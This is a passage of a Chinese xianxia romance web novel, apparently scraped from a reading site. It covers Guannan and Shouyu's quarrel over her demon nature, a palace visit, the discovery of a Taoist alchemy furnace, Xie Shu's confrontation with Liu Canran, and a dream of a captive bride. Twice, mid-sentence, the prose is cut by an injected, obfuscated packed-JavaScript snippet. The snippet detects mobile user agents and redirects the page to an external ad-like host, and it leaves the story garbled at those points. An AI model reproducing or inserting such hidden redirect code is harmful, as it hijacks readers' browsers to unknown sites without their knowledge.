却眼尖地瞧见那衣裳耸动。守玉踱步过去,见皎白月光照着一截白绸发带。他伸手拽住,一使力抽了出来。 那头赫然缠了一条成人小臂粗的青蛇。粼粼银辉下是细碎的幽幽翠色,浑然的玉似的缓缓流淌波光。 白玉坠子落地,一声清脆砸得他头晕目眩。 …… 观南睁眼时,屋中正熏了淡香。外头灰蒙蒙的天色雾一般萦着,已不知今夕何夕。 自己是怎的了? 她按住眉心,茫然地想了一会。只记得自己夜半听见小白声音,便起身去寻它,后来大抵是跌坐在地了……怎地起来却在榻上? 长发凌乱地落下来,她伸手去拨,却瞧见被褥地下压了个白绸一样的物什。 抽出来一看,却将自己吓了一跳:这不是守玉束发用的么? 怎地会在她这里? 她悚然地打量片刻,终究认了这便是守玉那一条发带。昨夜他还来见过她?她莫不是揪住人头发不让他走了罢? 观南将这发带来来回回地看,又忆起来自己颈上那条白玉佩,乃是从前师尊所赠之物,用以压她妖性的,如今怎地不见了? 她四下打量一会,又不信邪地去被褥中来回翻找。 没有?总不能是被狗吃了罢。 她正欲埋首钻进去,忽得听见有人淡声道:“你找这个么?” 观南猛然抬手,便见守玉散着发,换了身新衣裳,正倚门神色不明地瞧着她。 她惊喜道:“原是在你那,多谢了。”便下床去拿,到了他眼前正要伸手,便见他将那条白玉坠高高提起来。 她伸手去够,他却又退了几步。 观南顿住,同他对上眼。此人眼中墨色沉沉,唇也抿成一条线。 ……她脸色渐渐冷下来。 他将那条白玉菩萨像举在眼前,像是打量观世音神容,又似透过神像看她。 她悄然伸手去拿斩仙剑,便见他握住玉坠,冷声看她:“你是妖?你怎地是妖?” 她将他眸中一闪而过的恨意看得一清二楚。 观南闭了闭眼,再睁眼已平静道:“多谢你昨夜相助,将那玉坠给我罢。” 他抿唇:“你怎么从来不告诉我?” 她抬眼看他,脸色一如既往无波无澜:“告诉你做什么?我虽是妖,此生却从未作恶害人。是妖是人究竟有何差别?” 更何况——我同你是什么关系,又为何要告诉你? 守玉冷笑:“是,你也不用告诉我,我同你不过是顺路的关系——你是想这样说,是不是?” 他抿唇,见她还是一贯漠然模样,心中油然生出些恨意。 我信你是良善之人,我也从未想过要提防你。可你怎么——就不告诉我呢? 要你信我就这样难么? 观南脑子尚在疼着,不欲同他争执这些,闭眼低喘几声。见他仍站在那处一动不动,心中叹气。 她缓缓抽了剑出来:“你若是不愿给,我便只能自己拿。” 银光自他眼前一闪而过,守玉瞧着她,竟是气笑了:“你要动手?就为这个?你要同我动手?” 昨日夜中她还按着他胡乱蹭,今日睁眼不认人,还要同他动手? 就不能同他服个软么?她的心就这样硬,谁都动摇不得? 正要说话,她却已然猛地抽剑,狠狠扇了过来。 观南头痛得愈发厉害,只得做出要打他的模样。她用力不重,速度也慢,想着吓一吓他便罢,他必然能躲过…… 却见他一动不动,玉似的右脸直直迎上剑锋。 一道嫣红血迹自脸上渗出来。他缓缓伸手去碰。 观南后知后觉地瞪大眼,斩仙剑咣当坠地。 你怎地不躲? 你不是元始天尊亲徒,还有诸般法宝防身,武力高强么?怎地就躲不过这一剑呢? 那人垂着长睫一言不发。她慌乱迎上去,将他牵到床边,双手捧住细细看他:“对不住,对不住,我力气使太大了——你怎地不躲呢?我以为你能躲的,是不是疼了?你将手挪开我看看——” 守玉抬眼看她。 她已然无措起来,手脚似乎都无处安放,慌忙自包裹里掏了帕子替他细细擦拭。那只白玉坠子还在他手心捏着,挪眼便能看见她脖颈处那只红痣。 她仍忧心地问他:“疼不疼?不若我去取些药来……” 疼不疼呢?其实不疼的。 看她这样无措,他实则有些想笑。 他吃过的痛受过的苦比这多太多了,剜心去骨,削肉烂体……尚且奈何不了他。只不过一滴不值钱的血流下来,怎么她就这样慌乱呢? 守玉忽得想:她在意我。 她不愿见我受伤……她拿剑扇我是因为我蛮不讲理,她还收了力气,还特意慢吞吞地让我躲。 是我做错了事。是我欲求太多。 既然如此,既然如此。 他浓密长睫如暴雨打过的蝴蝶一样闪,湿气自眼底酝起来,顷刻间就成了大雨。 几滴眼泪啪嗒啪嗒地落在她手背上。 观南目瞪口呆,一时间如鲠在喉。 他却红着眼眶问她:“娘子,你手疼么?” “不疼,不疼……”怎么还哭了?!她先前只哄过谢婌,此刻僵着手去拍他的背:“你莫哭了,莫哭了。是不是还疼?对不住……” 守玉哭得梨花带雨,眼泪不多不少正好湿了她手心。观南心软得一塌糊涂,又想到他比她小了太多,还是 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长得好看的人,不总是要将脸宝贝着么?她竟然还就奔着他的脸。观南微微心虚起来,只能心中盼着他莫要因此记恨她。 她斟酌道:“不过你生得美,有疤也不碍事的……” 她不晓得守玉全然只听见了第一句,一时间愉悦地弯了眼睛,笑道:“我倒是没有抹脸上的药,娘子要给我买么?” 也成。教他挨了一剑还自个去买药,那她未免也忒不是人了。观南便道:“你告诉我要买什么药?我当即便去。” 她不知何时已经被他搂住,便伸手拍他:“你好些了么?我下去取个笔墨来。” 守玉眯着眼不愿撒手,道:“眼下都要入酉时了,街上店家想必已收铺回去了。” 是么?她狐疑地按住颞颥穴想了一会,建康城中歇业的这样早么? 怀中人忽得站起来,她抬眼,便见他眼睛湿漉漉地看她:“娘子是不是头还疼着?我见你总是按眉心。” 是有些。她摇头:“不甚防事。” 他诚恳道:“娘子昨夜似是总想往我身上扑,是不是因着我体凉?也快要入夜了,不若我陪着娘子罢。” 原来她昨夜还曾往人身上扑?!观南险些想给自己一拳,一时间望天望地,只得讷讷道:“不好罢。” 男未婚女未嫁,共待一屋,传出去像什么样子? 他含笑道:“若是能帮到娘子,我心甘情愿的。” 那股昏沉感又涌上来,她无力垂了眼正要说话,他已然福至心灵地凑过来抱住她。冷意自两人皮肤相接间渗进体内,观南畅快一叹,终究道:“那便多谢你了。” 他无言,蹭了蹭她的脸。 窗外头隐隐风声作响,一时天地间只余淅淅雨声。观南正听得昏昏欲睡,险些入了梦,忽得想起那条蛇来,挣扎道:“小白呢?小白……” 身边人低声道:“在呢,都在呢。” 细长蛇尾被放进她手中,她终于放了心。 白绸发带终究没有再回他发间。守玉静静抱着她,目光自外头落了一地的桂花上挪开。 夜长雨急。 雨簌簌下着,无边潮意涌上来,外头忽然有枝桠断响声。谢婌执伞急急踏了雨来,手中捏着只守宫,要同观南共享这一喜悦。 到了她窗头,见人影憧憧,正要唤人:“仙长——” 剩下的话却生生止住。窗里头露出的却是别人的脸:“什么事?” 这人披着长发,衣裳不甚齐整,怀中似还抱了人。 谢婌目瞪口呆:“守玉仙长?!你怎么——” 你怎么在这?! 她险些捏不住伞,又止不住往四周看看,她还以为自己跑错屋了! 他垂眼下来,却没看她,只柔声道:“她睡了。” 这一句话跟惊雷一样炸响。 谢婌如醍醐灌顶,连连后退几步,脸上似火烧的红云一般:“对不住!我不打扰二位了!” 她慌张往外头跑去了。 守玉瞧见她落在地上那只守宫,目光又挪回怀中人脸上,忽得无声笑了。 22. 苦灼心 观南迷迷糊糊之间又做了梦。 梦中是鎏金散沙淌过的河,一路自西天倒悬入湖,于西牛贺洲成了一沼莲花池。 四下一眼望去俱是黄沙漫天,天地间只余钟声袅袅。中间菩提古树簌簌落了枯叶下来,世尊端坐树下,四周八大菩萨各居一莲,五色莲花俱放,一莲千叶,潮起沙落,光华璀璨。 她从观世音怀中探出头来。 这诸位菩萨此刻共聚一处,为的却不是念经诵法,不知谈及甚么高兴事,脸上都挂了浅浅笑意。 她尚未开智,听不懂诸佛所谈为何,却也大抵能认得几个:手中时常拿着个剑擦的是文殊菩萨,左手宝珠右手锡杖的是地藏菩萨。都是面冷心热之人,还时常来落伽山上逗弄她。 至于菩提树下的世尊,虽只听得见声音看不清脸,她却也是不怕的。于是放下心来,跃跃欲试地要从师尊怀里拱出去。 “做甚么拱来拱去的?”观世音发觉袍中耸动,浅笑着将柳枝往她头上一扫,“你又坐不住了是不是?” 师尊莲台边伏着金毛犼,闻言也扫她一眼。 观南毫不畏惧地瞪回去,又讨好爬上师尊右手,往她手心舔舔,抖擞了尾巴指指身旁一朵白莲。 “你想吃那莲子?”师尊闻言笑了,抬手摸摸她头,“芬陀利三千年一开,莲子可是苦得很呐。” 她觉着那莲子有意思的很,不信这个,一时撒泼甩赖去缠师尊指尖,蛇头往她怀中又蹭了蹭。师尊拗不过她,便信手剥了一颗下来递在她嘴前。 她张口,毫不客气地咬开。这一尝,却是苦得几乎要她哭出来——霎时间整张脸都皱成青紫色,连忙啐了几口吐出去。 怎地这样苦!她胃中翻江倒海,整条蛇都蜷在地上成了球,左右打滚哭嚎震天。 师尊笑得险些掐不住柳叶。那金毛犼见她滚过来,毫不客气地嗤了一声,狮尾往她身上扑甩几下。观南一时气不过,张口便咬住他尾巴,两兽缠作一团。 待师尊将它二兽分开,观南已叼了一嘴金毛,得意洋洋地窝在师尊臂弯了。 这头响动自然瞒不过其余人,世尊笑声隔着千莲万叶传过来:“那芬陀利是我降生时伴我所生之物,曾得我血滴入莲心,便是苦上更苦,你还教她吃了?” 文殊菩萨道:“观音是将这蛇当孩子似的养着呢。” 师尊揉揉她脑袋,一时也笑了:“你吃了苦,才晓得这一生苦难不胜其数,才不怕再吃苦了。是不是?” 观南听不懂师尊说了甚么,嘴中苦味还未散干净,便咂咂嘴拱进她怀中。 诸花中莲花最胜,花未敷称之屈摩罗,敷而将落称之为珈摩罗,处中盛时名芬陀利。出泥而不着水,便如日月不住空……观音俯身将那白莲摘下,取了一瓣落在她眉间,她便迷迷糊糊又睡过去了。 不知过了多久。沼中各色莲花静静仰空绽华,凡间诸事无常犹如水中细沙,自她尾尖缓缓穿梭而过。 外头忽得传来人声。 这人身影先是极小一个,自彼岸无归处处来。手合十在身前,蓝罗袍无声踱过了金沙细碎的浅沼。到了八位菩萨前,便俯身静静跪拜下去。 八位菩萨俱是一惊,悚然起身。 寂然无声。菩提树下纷纷扬扬落了一地枯叶,世尊悄然睁眼,声音无波无澜:“你来做甚么?” 这人声音淡淡:“弟子心不诚,念不切,先前错不可追,唯愿师尊罚我。” 世尊阖眼。一颗菩提果砸进泥里,金絮无根般浮在空里,悠远天地间唯余寂然水声。 金蝉立在莲尖振翅。 “……便贬汝之真灵转生东土,十世受戒,再悟真缘。” 那人长长跪拜下去,声音荡在水间云中,渐渐散了:“弟子遵命。” …… 观南倏然睁眼。 外头不知何时落了大雨,天边吐了鱼肚白,隐隐雷声轰鸣。窗户被人紧紧关住,她茫然睁眼呆了片刻,才回神过来,推了推身上人。 守玉睡得不深,睁眼看她:“娘子,你醒了?身子好些了么?” “我并无大碍了,多谢你。”她伸手按按额头,徒劳地去寻那泡影一般飞速幻灭的梦境,却终究忆不起梦中人面目。 无果,她只得叹气:“我方才做了个梦。” 他闻言,理发的手一顿:“噩梦么?” “也不是,只是总不大令我好受。”经书上言,梦乃业力回馈,是过去世善恶果报。若这梦不是她的缘法,又该是谁的呢? 观南摇头,不再细想此事。她撑身从榻上起来,见守玉右手上还绑着她那一条红绳,取了发带正要戴,便道:“我来帮你罢。” 他正叼着发带,衣裳松松垮垮地半披在身上,颈间冷白肌肤隐现。闻言回眸看她,弯起的一双眼中冒出些细碎光芒,便松了口,笑道:“劳烦娘子了。” “不劳烦。你替我束过发又上过妆,我也该帮你一帮。”她接了发带起身,在他背后比划起来:“你要束高些还是束低些?我见你往日都是束高的。” 守玉笑:“都成,娘子觉着呢?” “那便束高罢,你束高马尾瞧着更活泼些。”观南仔细瞧着长短,伸手撩了他满头青丝,便往头顶束去。 他个子高,头发也长,如墨绸一般在她手心盘旋打转。未免有几绺不听话的溜走,观南咬住白绸发带,两只手都腾出来替他理发。 他背身对着她,忽道:“往日我在昆仑,师尊师伯虽对我好,却从未替我束过发。今日,娘子是第一个。” 她正聚精会神握着他头发,口中嗯一声算作应答:是么? 他想:是啊。 你怎么对我这样好呢? 是谁来了你都对他这样,还是仅我一人的殊荣呢? 他垂眼,便见她自身后伸手到他下颚旁,指甲划过肌肤将耳边碎发拨了过去。这一阵血肉相贴又激起他浑身酥麻,守玉忽得想回头看一看她,如今是何种表情。 正要扭头,她按住他,不容置噱道:“别动,快好了。” 她动起手来其实快得很,三下五除二就在他头顶扎了个结。接着起身将他拉下床:“你瞧一瞧,看看成不成?” 守玉立在镜前,将镜中自个大致扫过一遍,又下意识去寻她。 观南自他身后探出头来,微微有些紧张地看他:“怎么样?”总不算丑罢? 又自我怀疑起来:是不是还有些毛糙,瞧着不大雅观?便伸手去顺,守玉瞧着她在镜中俯身仔细去看他背后,发尾尖在半空甩出个旋。 他缓缓笑了:“好看着呢。我很欢喜。” 她放下心来:“那就好。” 外头时辰也不算早了,待她将自个打理好,已是到了入宫的时辰了。谢府门口已停了太后来接人的與马,守玉随观南一同上了车,不出半刻便到了宫中。 承德宫。 重阳已至,宫中来回僧侣扫着银杏叶。当今太后信佛,承德宫中因此立了大大小小香炉,袅袅檀香萦绕殿内外。 观南同大小僧侣皆见过了礼,拾步上了青石阶。太后已端坐屋中,她见着她仍华美端庄的面容,俯身行礼:“小僧拜见太后娘娘。” “仙师来了?”太后含笑看她,眸中讶异一闪而过,唤人沏了茶来。 “我早就听闻仙师大名,听闻你有勇有谋,救尚书令家独女于水火……却不曾想原来你竟这样年轻。” “小僧不敢当。”观南摇头,平静道:“救人之事非我一人所为,若非旁人相助,我也不会如此轻松。” “便是这位么?”太后转眼去看她身边年轻男子,心下感慨几分,“二位瞧着还都是年轻人呢。” 几人寒暄几句,便步入正题。观南自包中取了《妙法莲华经》出来为她诵读,檀香裹着她水一样平和的嗓音,汩汩淌进太后耳中。 她道:“……我曾于师尊洞府得见八臂罗汉,鎏金积光,手上宝剑念珠俱全。彼时他造了杀生恶孽,师尊为他讲的便是这一本妙法莲华经。” 太后心中想出那庄严宝相模样,不禁觉着佛法高深奥妙。听她将经文念来,缓缓闭了眼。 观南虽已经背得滚瓜烂熟,却仍一字一句念着手中真经:“无有生死,若退若出……不如三界,见于三界。”正要翻页读下一行,便见守玉握住她手,示意她往榻上看去。 原来帷幕后的女子不知何时已睡熟了。 她从地上起身,见那侍女替太后掖好被角,便将他二人请出了殿。观南正收了经书,便听这侍女感激道:“多谢仙师了,太后娘娘已许久未曾畅然入眠,想来是仙师诵读的功效。” ……这是变着法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128573|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说她讲的无趣呢。观南心中腹诽几句,面上却不显,同侍女说了几句好听话。 话拐了几个圈,末了才将真意道出:“我听闻皇宫中有国师修道,想来也是法力高深之人,可否能见他一见?” 这侍女讶然一愣,果不其然道:“国师随陛下离宫了。” “原是如此,倒是我来得不巧了。”观南微微蹙眉作懊丧之状,一派失意模样:“我还想着下了山入了宫,能将世上高人都见一见……” 所谓近朱者赤近墨者黑,她同他待久了,也将他诓人的本事学了过去。 守玉在一旁听得微微挑眉。 这侍女见她生得漂亮,又瞧着年轻不谙世事,一时不忍道:“国师虽走了,宫中却也还有旁的高人呢。太后嘱咐我,二位仙师可自行在宫中寻人商议佛法的。” “譬如佛门,便有星月法师,这几日都宿在宫中呢。” 观南抬眼:“星月法师?不知是哪位高僧?” 侍女笑眯眯道:“是太后娘娘自山上请下来的。这几日娘娘因着先皇忌日总是夜中惊醒,便请了星月法师下山来诵经。只是今日不巧,似乎出宫去了?” 观南静静听她说完,拱手行礼。待侍女见礼告退,才回身看守玉。这人不知何时已经站远了,正撩了袍角蹲地,盯着一处银杏叶堆瞧。 她走过去,“你瞧什么呢?” 话一出口忽觉异样,空中萦着的除了檀香,似乎还有旁的气味,便从那银杏叶中隐隐散出来。 守玉已抬头望她:“娘子也闻着了?” 观南俯身拾了一片起来,放在鼻尖细细闻着。她微微蹙了眉,复又舒展开:“丹药味。” “还不是一般的丹药味。”他拍拍手立起来,笑眯眯道:“这是那国师给司马——天子用的。里头还有黄岑,芒硝,桂枝……” 她听得莫名,又仔细嗅了几下,一时间狐疑起来:竟能闻出那么多药么?他鼻子怎地比她还灵? 他道:“循着这药味便能找着丹炉了。我想那能炼赤焰花的丹炉,全国上下也就一鼎,就是不晓得这国师自何而得了。” 她颔首道:“既是如此,你我二人敛了气息去寻便是了。宫中阵法虽多,进来了却也轻易。” 正眯眼仔细去闻药味,忽得又想起事来,忙将身侧包裹打开,将林昭提溜出来换气。 原来守玉往林昭身上贴了一道符,将此人缩至半寸大小,便可随身携带了。 此刻林昭已被捂了几柱香的时辰,一时脑中翻江倒海几欲作呕,被观南拎在手心才终于得以解脱,摇摇晃晃地跌坐下来。 守玉凑近,用伞柄戳他脑门:“林昭,清醒些,叫你来不是让你坐享其成的。” 林昭好不容易清醒了些,又被戳得几欲骂街。忽得两眼一黑,被人狠狠塞进了袖口——原来是位僧侣路过,观南揪着人到了树荫下隐蔽去身形。 两人窝在一处,鬼鬼祟祟地商议几句,便沿着墙根摸索起来,一路寻着气味往深处去。 近了。 越过一处荒无人烟的冷宫,翻过几座墙头,一座门扉紧掩的殿耸在眼前。 观南同守玉对视一眼,推门进去。 屋中浓香四溢,却不是平日里闻见的寻常淡雅花香,直教人皱起眉头。她一眼看去才暗自心惊:这不知名的殿中,竟有整整八座丹炉。 且每一炉看着,都是金银璀璨的华贵之物。地上还堆满了名贵药材,黑黢黢的煤球似的物什滚落在地。 观南一个个望过去,见炉上纹样色泽并无差异,细细去闻,也闻不出赤焰花所在何处。 她正打算撸袖子挨个砸开看看,却忽听见守玉唤她:“娘子。” 她循声看过去。 守玉正立在座炉前,一贯笑意盎然的脸上竟出现些异样。她到了他身前站定,便听他道:“这炉不对劲。” 她将炉鼎仔细看了一圈,仍旧不明所以:“怎么?” 他蹙眉:“——这是我师伯的炼丹炉。” 这上头的纹样旁人看不出来,他却再熟悉不过。本应当是三十三重天离恨天的炼丹炉,怎会出现在此处? 再仔细去看,炉鼎上竟暗自生出些细红纹路,方才却还未曾见到。 守玉忽得厉声道:“不对——” 眼前白光乍现。 23. 老君炉 雨疾风骤,半晌而停。 庭中落了一地桂花,湿漉漉粘在青石板上碾落成泥。谢婌捧着脸在窗边等着,百无聊赖地去折一枝秃头桂杆下来。 几声雀鸣,有人自枝头翻墙过来,稳当当落在她面前。她尚未来得及开口,这人便从袖口一掏,手心一闪,递予她某样物什。 谢婌接过来打量片刻,渐渐喜上眉梢:“这是魏姑娘送你的么?” “是啊。”敖润叹气:“我送她蔻丹,她便将这个送我了——也不问我这几日跑去做什么了,我想,兴许她还是不甚在乎我。不过……” 谢婌闻言,将手中桂枝掷去他脸上:“你犯蠢啊!” 敖润话还未说到半便挨了这一下,一时间瞠目结舌,接着勃然大怒:“你打我脸做甚!我怎么蠢了?!” “你晓得这是什么么?这是同心结!”谢婌恨铁不成钢地看他,将手中红结指过来:“你好好看看罢。” 她手掌中静悄悄躺着红绳绑成的结。敖润伸手仔细打量一会,见那两股红绳上还微有些毛糙,大抵是魏姑娘手织的。 他悄然摩挲一会,唇角微微勾起来:“如此说来,她是懂我之心意,也对我有意么?” 谢婌觉着他笑得颇有些傻,竟像农家脸上沾泥的小子一般。一时间略好笑地瞧他:“那我先恭喜敖公子你春心有归,祝你二人早日喜结连理?” 敖润将同心结塞进胸膛处,这才回神看她:“成啊,到时候必叫你还有我师伯、师伯母吃喜酒去。不过你那未婚夫又是什么意思?他只给我一封信,却不愿来见你。” 什么师伯师伯母?谢婌心中古怪,听见后半句微微一愣:“他教你递信给我?” 自群芳宴匆匆一别,她思及席上柳粲然狼狈模样,便觉坐立不安。想同他致歉,将往日纠葛说个清楚,他却总避着她。近日被关在府中,只得求敖润帮她递口信过去。 敖润袖中掏信给她。她便忙不迭地拆了,咬着唇一行一行看过去。 敖润打着哈欠去扑枝头雀儿,一扑扑了个空,正想着去买个弹弓玩,便听得身后谢婌低声道:“不成,我得去见见他。” 他回身看她:“你爹不是要你待府里么?那姓柳的又不愿来找你,你怎么去见他?” 谢婌目光闪烁:“山不来就我我便去就山,他柳粲然是个懦夫——我可不是。” 敖润闻言一惊,推后几步将这纤细闺中小姐仔细打量一遍。思及府中来来回回的护院,由衷敬佩道:“谢千金真乃女中豪杰。不知你打算怎么出去?” 谢婌似笑非笑的目光落在他身上:“我没法子,敖公子总不会没有罢。” 敖润毛骨悚然:“你想让我带你出去?被你爹看见了岂不是要打死我!” “不让他看见不就成了?”谢婌诱哄道:“我晓得敖公子法力通天,人也良善,不会置我于不顾……且你如今帮了我,焉得不知此后我不会帮你呢?” 敖润被她绕进去,一时间竟觉着她说的颇有道理,扶颌思索一会便道:“成吧,我是翻墙来的,你也随我翻出去便是了。” 谢婌还以为他有什么神仙法宝,未曾想到等来的是这样一句,匪夷所思道:“你这几日都是翻墙来的?” “走门也成,不过不如翻墙快就是了。”见她立在原地不动,敖润一脚踩上墙飞快越上墙头,袍角飞扬间回首看她:“你同我一般就行了!这么左右一踏,快得很!” 谢婌立在湿漉漉墙根底下,一时只觉头皮发麻。头顶敖润已经跳下墙去,还在那头鼓励她:“莫怕!你跳一回就晓得了!” 她只得试探地伸手出去,左手攀上墙上凹槽处,右手扒住树将整个身子往上提……待她坐上墙头,才发觉自己浑身粘腻,汗已湿透了衣裳。 敖润啪啪啪给她鼓掌,谢婌哆哆嗦嗦坐在墙头,一时火气也上来了,心一横便直直往下跳去。 意想中摔了个狗啃泥的遭遇却并未到来。她缓缓睁眼,见敖润笑眯眯看她:“你晓得了吧?阿魏起前也不敢爬墙,爬了一回便不怕了。” 是么?谢婌恍惚一会,又回头去看自家院子。 原来这府墙也并不是那样高不可越的。 街上来人渐渐往这边看,她回神过来,忙引着敖润往太学走。 敖润起先并不乐意随她去,教她去寻他师伯。被她威逼利诱一番,才哼哼唧唧地到了太学门前。 太学今日休沐。往日夫子学生都走了个空,谢婌踏进院中,隔远便瞧见柳粲然身影。 他穿了一身淡青长袍,立在晾书杆前,正挽着袖口去铺开纸卷。谢婌抱着胳膊看他转来转去,沉声道:“柳夫子。” 柳粲然吓了一跳,险些将手中书卷掷出去,回首看见是她,呆愣在地:“婌儿?你是来寻我的么?可你不是——” “不是被我爹关在府中了?”谢婌冷哼一声,好整以暇地看他:“柳夫子小瞧我了。你不愿见我,我只能来见你啊。” 不知这话戳中了柳粲然哪根筋,他抿唇不去看她,目光落在她身后无所事事的敖润身上,道:“是我愚钝了。谢千金呼风唤雨……出个府又有什么难的。” 什么呼风唤雨,他就是想讽刺她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137856|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢婌裙下之臣是有一个接一个呗! 谢婌听得火气直冒,咬牙切齿道:“你少装腔作势讽刺我,柳粲然,我自以为对不住你,可往日退亲之事也并非全然是我一人之过错!” “昔日司马——天子诏书下来,我父母同你商量,若是你打定主意要娶,你我如今早已做了几年夫妻了!” 她深吸一口气,将燥意压下去,平静看他:“群芳宴上我想着和你多说几句话,才拉你去了席上。却不想兄长对你出言不逊,如今我替他向你致歉。” “你我此后同在建康,你做你的柳夫子,我当我的千金。桥归桥路归路便是了。” 柳粲然唇瓣翕动,欲言又止,目光中哀意深深:“婌儿——”他似是要来抓她的手。 谢婌后退一步,淡声道:“是我先前还想着你我做不成夫妻,也能做个友人的。却不想是我自作多情了。既然你不愿同我做友人,那便不做罢。” 柳粲然惊惶瞧着她。他欲道:并非如此,我并非不愿来见你,我身负隐情,此生都只为赎罪而活的,我怎么能拖累你—— 却终究说不出口,只哀哀道:“那你要嫁谁去?” 他陡然拔高声量,竟带了怒意:“婌儿,你要嫁谁?你当真愿意嫁去深宫之中做枯死红颜,信他司马昀愿一生一世对你——” “我同陛下的事与你毫无干系!”谢婌冷冷瞧着他狼狈模样,面上唯有愤然与哀戚:“我嫁与不嫁是我的事,你逼不了我,谁都逼不了我!” “你们一个二个都以为我终究是要嫁人的,仿佛我不嫁便称不得是女子,犯了天杀的罪一般!我如今便告诉你,我不嫁就是不嫁!” 柳粲然全身颤抖地看她。她正骂得起劲,被身后敖润一拽袖子,便猛然甩开:“拽我做甚?谁来了都一样!我告诉你,哪怕他司马昀在此——” 忽然有人唤她:“婌儿。” 这声音平静无奇,却太过耳熟。在空荡荡的院中回荡开来,往日是她的蜜糖,如今却如同梦魇。 谢婌为出口的话便生生止在喉咙中。浑身都战栗起来。 剩余二人一同往太学门口看去。 有人身披大红衣裳,一步一步娉婷地上了青石阶。他所立之处落了一地凌乱桂花,手上红伞收起,毫不珍惜地踏过向院中走来。 司马昀目光自院中三人轻轻扫过,最终落到不愿回首看他的谢婌身上。 她瘦了。 是这几日谢洵没养好她,还是她自个要糟践自己呢? 他终究是什么都没问,只轻柔道:“婌儿。外头好玩么?” 24. 惹尘埃 女子漠然道:“随你们罢,总归我也没旁的可选。” 身前人低低应了,替她将床褥理好,又无声出去了。 姓李?莫不是她想的那位罢? 观南觉着自己像上了人身却道行太浅的鬼,说不得话动不得身,亦寻不出解脱之法。 她一时间心中疑虑颇多,只得感受着这女子去摸身上的镣铐,嘴中低低嘟囔起来。 她仔细去听,才听清她念的原来是公子仪,姜仪几个字……在嘴中来来回回滚了几遍,仿佛恨不得吞之入腹,又爱恨不清。 这样念着念着她便闭了眼。 观南便同她一道跌进了迷离梦中。 待四周模糊雾气散了,她才发觉自个是入了她的梦。眼前女子跪在祠堂中,头伏得低低的,像冲她行跪拜礼。 观南借着幽幽烛火看清了她,原来这女子个子高却瘦削,身上穿着的瞧着正是嫁衣。 连忙让开几步,才发觉她拜的是身后的佛像。 观南见她俯身下去。此刻她竟是跟个货真价实的鬼一般飘在空中,一时间颇有些新奇,便伸手去碰她。 到了她额前,果不其然从人头上穿过去了。女子似有所觉地抬了眼,观南收手,顺着她目光望过去—— 女子喃喃道:“太清道德天尊……我在此处跪了整整五日,你听得见我之所求么?” 原来案上供着的是太清道德天尊。观南从未见过天尊真容,往神像打量了几眼,觉着这只像个和蔼的小老翁。 又垂眼去看这女子,才发觉她膝下已在垫上晕开了血。 女子忽得起身,“天尊,我求了你整整五日。你既是天尊,必能助我一臂之力的,是不是?” 她跌跌撞撞地过来,半身倚在案上。观南此刻离她近了,才看清她虽脸白得像鬼一般瘆人,眼珠子却是清白明亮的。 她欲求些什么呢? 女子微喘着气:“如今这世道早已不复昔日了。你不晓得罢?自武王伐纣,诸神受封,已逾八百年矣。实则自幽王始,大周便亡了……” 她喃喃道:“倘若你睁眼,便能看清这世事荒诞,生灵有倒悬之苦……天尊,我只求你救救我。我是被人绑着嫁来的,实则早已有心悦之人,他名姜仪。” 姜仪。 观南恍然大悟:原来她同他是两情相悦。 女子浑然不晓得自己正被人瞧着,缓缓去摸身前神像华衣。这华衣粗看只觉漂亮,新看才知道是金丝打柔织成的,连同身旁的青龙玄武等各神兽皆暗淌鎏光。 她摸着丝丝缕缕的神纹图案,一时失了神:“这衣服我也从未见过……想来诸天之神,也同你一样是满身光华罢?” 无人能回她。这堂中唯有暗淡的烛枯朽的梁,再就是天尊与膝下的她。 观南飘去窗边,只见天色红得像烧了真火的炉鼎,院中龙旗鼓鼓震着,日月龙纹裹挟于一处,风沙中传来隐隐马蹄声。 她伸手出去,却被拦了回来。观南不信邪地沿墙边走了一圈,才明白她不能离这女子太远。 怎么倒真跟个怨鬼一样?她心下叹一口气,又老老实实飘回她身旁。 此时女子已转了话头,揪住天尊衣摆哀求道:“天尊,我嫁的这将军他看着光鲜亮丽,实则背地里头干的腌臜事数都数不清。你老人家有眼,将他收了吧,成不成?” 她大抵是攒了一肚子怨气,一时间声泪俱下地道来。观南在一旁听着,见她琉璃似的眼珠子忽明忽暗,泪光被烛火耀着打旋…… 她看得有些难受,心也似被揪住一般疼。 刚想伸手碰一碰她,却忽得听见一阵天地摇撼的轰隆声,震得整个房梁哆哆嗦嗦落了灰。 下一瞬房门被猛地破开。 观南猝然转身,便瞧见一群银甲白刃凶神恶煞地闯入屋中来,手中冷光铮亮的吓人。她下意识拦去女子身前,为首之人却径自穿过了她,将身后女子提起来。 此人毫不怜惜地将她打量了个遍。 女子脸上渐渐失了血色。刚要抬手去打他,便被森冷的刃抵住喉。 那刃离着暗蓝血管唯有一寸……观南伸手去拦,却又从这群人身上传过去。将要见血之际,有人在身后忽道:“这女子似乎是秦国来和亲的,瞧她衣裳制式……” 刀尖顿住,随即抽回。 “原是如此。”为首之人嗤笑一声,将手上血尽数擦在她脸上。 “小娘子,你嫁的这男人已抛下你跑了。我是放了你,还是不放呢?” 腥气扑面而来,她被熏得几欲作呕,忽见这人抬手将案上那烛火取下来。 蜡油在他手间颠来复去,晃眼的火在半空中摇曳起来。她缓缓瞪大眼,见那人望向她。 “你是秦国来的,我不敢杀你。不过你见了我的脸,万一将我说出去可就坏了。” 他森森笑起来:“不过么,我有两全的法子。” 